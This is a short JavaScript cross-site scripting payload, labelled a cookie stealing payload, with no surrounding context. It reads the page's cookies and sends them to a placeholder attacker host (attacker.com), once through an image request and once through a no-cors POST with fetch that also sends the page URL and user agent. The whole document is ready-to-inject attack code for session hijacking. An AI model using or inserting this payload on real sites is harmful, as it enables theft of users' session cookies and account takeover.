<script>
  // Cookie stealing payload
  var cookies = document.cookie;
  var img = new Image();
  img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(cookies);
  
  // Alternative: Session hijacking via fetch API
  fetch('https://attacker.com/exfiltrate', {
    method: 'POST',
    mode: 'no-cors',
    body: JSON.stringify({
      cookies: document.cookie,
      url: window.location.href,
      userAgent: navigator.userAgent
    })
  });
